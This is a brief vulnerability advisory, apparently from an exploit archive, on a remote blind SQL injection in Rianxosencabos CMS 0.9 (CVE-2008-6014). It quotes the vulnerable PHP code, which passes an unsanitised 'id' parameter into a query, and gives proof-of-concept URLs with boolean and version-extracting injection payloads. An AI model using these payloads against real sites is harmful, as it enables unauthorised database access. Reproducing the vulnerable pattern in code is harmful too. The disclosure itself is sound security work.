Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability

2009.02.04

Credit: ka0x

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6014

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

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Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability
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/ Script: Rianxosencabos
/ Version: 0.9
/ File affected: scripts/links.php
/ Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz


ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org

Vuln code:

-----
88:  function visita($id) {
93:  $resultado=$bd->consulta("SELECT direccion, clicks FROM links WHERE id=$id LIMIT 1");
....

112: if ($_GET['id']) {
113: links::visita($_GET['id'])
-----


Proof of Concept:

http://[host]/[cms]/?s=links&id=1 and 1=1 -> True
http://[host]/[cms]/?s=links&id=1 and 1=0 -> False
http://[host]/[cms]/?s=links&id=1 and ascii(substring(@@version,1,1)=52


__END__

References:

http://www.securityfocus.com/bid/31502

http://www.milw0rm.com/exploits/6636

See this note in RAW Version

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Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability

References:

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